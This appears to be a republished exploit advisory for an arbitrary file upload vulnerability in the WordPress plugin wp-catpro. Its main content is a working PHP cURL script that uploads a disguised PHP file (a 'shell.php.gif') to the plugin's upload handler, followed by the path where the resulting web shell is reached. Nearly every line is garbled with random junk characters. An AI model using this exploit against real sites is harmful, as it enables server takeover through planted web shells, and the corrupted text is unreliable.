Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability1 e0 a* p1 k$ o, e6 }0 t% T: P
#-----------------------------------------------------------------------
$ G- w% j2 s6 L) U5 L & y9 ^; W+ d& J$ e: L
作者 => Zikou-16" J7 z; |( y8 j$ b! j- i2 J
邮箱 => zikou16x@gmail.com# E ~, y# n" y- r1 w6 f# T
测试系统 : Windows 7 , Backtrack 5r35 w M/ C1 c( F' Q" {- R6 `4 b0 r
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
5 ?' ^$ H; H% r" q3 X( b- y####
$ r0 ~0 I! k2 k/ c$ X }9 s 9 {9 z5 w1 Z6 R0 R. u9 Y! z; U% u1 v
#=> Exploit 信息: t1 a1 _4 X, d8 |3 m
------------------; E; v3 U! G( o1 U; w3 ~
# 攻击者可以上传 file/shell.php.gif
- z. `; S- [, @4 z9 t& e: w# ("jpg", "gif", "png") // Allowed file extensions
: H7 a7 d- `3 L4 h# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
6 _) V7 f; P. ?: y) ~# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
?, y, Q0 U O5 h/ U------------------( ~/ b4 J% O7 i7 N; [% |. d
8 M' I( d0 m, \
#=> Exploit
# Q7 j' Y: L% x' C( q2 X* X------------ v8 \# s1 B4 p! C$ o
<?php
% P" Y$ g2 h! A. k: h$ N ' I7 C' h# {# m! M1 _( ` f
$uploadfile="zik.php.gif"; j8 o1 `6 o1 u6 h8 T5 K4 A/ ?9 I
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");8 J. Q6 q }' S2 F
curl_setopt($ch, CURLOPT_POST, true);5 n1 J( p# p$ p3 j7 }
curl_setopt($ch, CURLOPT_POSTFIELDS,+ l3 C% j# e0 o1 k) E9 n# @
array('Filedata'=>"@$uploadfile",. w4 f, p. ]) k- u
'folder'=>'/wp-content/uploads/catpro/'));
- b$ K. _9 d3 J8 j; I8 Scurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
( w9 L9 d4 p% M2 ]" w; ~* F J$postResult = curl_exec($ch);
0 d. V! x9 [, X! p5 m" o( rcurl_close($ch);
9 _$ ~2 e4 D: d 0 F2 I; B% k- X5 E& M/ s+ L
print "$postResult";! ^9 s: m7 n7 F6 ^; r
) X( p( A* Z% e0 c( ]! Y2 q( n. z
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif- d7 Y1 O1 Q* A+ d# R
?>4 J0 C. T; [; t' P0 Z$ x& Z+ q
<?php; q5 N8 Y( K1 y1 l1 h* P+ O5 b5 j/ Y; x
phpinfo();$ p4 N0 G7 E, {7 l$ c+ O
?> |